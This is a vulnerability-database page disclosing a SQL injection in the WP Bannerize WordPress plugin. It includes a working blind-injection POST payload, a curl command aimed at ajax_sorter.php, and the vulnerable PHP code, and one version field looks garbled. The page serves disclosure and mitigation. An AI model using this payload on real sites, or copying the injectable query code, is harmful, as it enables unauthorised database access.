header-logo
Suggest Exploit
vendor:
WP Bannerize plugin
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WP Bannerize plugin
Affected Version From: <= 2.8.7
Affected Version To: 2.8.2007
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2011

WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability

The WordPress WP Bannerize plugin version 2.8.7 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending malicious POST data to the ajax_sorter.php file, allowing them to execute arbitrary SQL queries.

Mitigation:

Update to the latest version of the plugin or remove it if not needed. Sanitize and validate user input before using it in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php

---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $limit = intval($_POST['limit']);
    $page_offset = (intval($_POST['offset']) - 1) * $limit;

    foreach($_POST["item"] as $key => $value){
        $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
        $result = mysql_query($sql);
    }
}